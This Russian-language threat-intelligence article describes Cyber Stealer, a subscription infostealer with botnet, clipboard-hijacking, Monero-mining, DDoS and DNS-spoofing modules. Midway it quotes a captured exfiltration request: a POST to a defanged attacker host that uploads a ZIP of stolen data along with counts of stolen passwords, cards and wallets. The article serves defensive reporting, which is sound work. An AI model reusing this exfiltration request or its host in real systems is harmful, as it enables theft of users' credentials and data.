Cyber Stealer: новый многофункциональный инфостилер с возможностями ботнета и активной разработкой

В мае 2025 года команда Threat Response Unit (TRU) компании eSentire обнаружила новый вредоносный инструмент под названием Cyber Stealer. Этот инфостилер сочетает в себе функции кражи данных с возможностями ботнета, что делает его серьезной угрозой для пользователей и организаций. Особенностью данной вредоносной программы является активная разработка и регулярные обновления, основанные на отзывах пользователей хакерских форумов. Это говорит о том, что угроза будет только развиваться, становясь более изощренной и опасной.

Описание

Cyber Stealer распространяется по подписке, предлагая три тарифных плана: Regular License (базовые функции загрузчика и вора данных), Premium License (дополнительные возможности, включая замену буфера обмена и удаленный доступ) и VIP Full Package (полный набор функций, включая DDoS-атаки, майнинг криптовалюты и обход защиты Windows SmartScreen с помощью EV-сертификата). Каждый вариант подписки предоставляет гибкие сроки - от недели до пожизненного доступа.

Программа нацелена на широкий спектр данных, включая пароли, кредитные карты, cookies, историю браузеров, криптовалютные кошельки, учетные записи игровых сервисов и мессенджеров. Кроме того, Cyber Stealer способен загружать и запускать дополнительные вредоносные программы, вести кейлоггинг, проводить DDoS-атаки, майнить криптовалюту и даже перенаправлять трафик жертв через подмену DNS.

Одной из ключевых особенностей Cyber Stealer является его модульная структура. Разработчики постоянно добавляют новые функции, такие как замена криптовалютных адресов в буфере обмена (Clipper), автоматический майнинг Monero (XMR), а также инструменты для удаленного управления зараженными устройствами. Вредонос использует несколько механизмов для связи с сервером управления (C2), включая резервные URL через Pastebin, что усложняет его блокировку.

Утилита написана на C# и использует различные методы для обхода антивирусных решений, включая добавление исключений в Windows Defender. После сбора данных Cyber Stealer упаковывает их в ZIP-архив и отправляет на сервер злоумышленников через HTTP-запросы. В процессе передачи также отправляется подробная статистика о количестве украденных паролей, кредитных карт и других данных.

POST hxxps://paxrobot.digital/webpanel//logs.php?hwid= USAAEADBC1001109C1DESKTOP-ABCDEFG&username=demon&Passwords=12&CreditCards=3&Cookies=22&AutoFill=1&Wallets=8&VPN=2&Telegram=3&Steam=2&Gaming=2&OtherMessengers=4&Discord=1&DevTools=2&EmailClients=1&PasswordManagers=2&RemoteAccess=2&CloudStorage=1&BrowserExtended=4 HTTP/1.1

Content-Type: multipart/form-data; boundary=---------------------1add4a2a111ca1d

Host: paxrobot.digital

Content-Length: 7584758

Expect: 100-continue

-----------------------8ddb7e1f201df2f

Content-Disposition: form-data; name="file"; filename=" US_AAEADBC1001109C1DESKTOP-ABCDEFG.zip"

Content-Type: application/octet-stream

Административная панель Cyber Stealer предоставляет злоумышленникам широкий набор инструментов для управления зараженными устройствами. Включая карту ботнета, настройки DNS-спуфинга, конфигурацию майнинга, управление DDoS-атаками и даже удаленное выполнение команд через командную строку или PowerShell.

Продолжающаяся активная разработка Cyber Stealer и его адаптация под запросы пользователей делают его одной из самых опасных угроз в сфере киберпреступности. Поскольку злоумышленники постоянно совершенствуют его функционал, эксперты прогнозируют рост его использования в атаках на частных пользователей и компании. Учитывая сложность обнаружения и многофункциональность, борьба с этим вредоносом требует комплексного подхода в области кибербезопасности.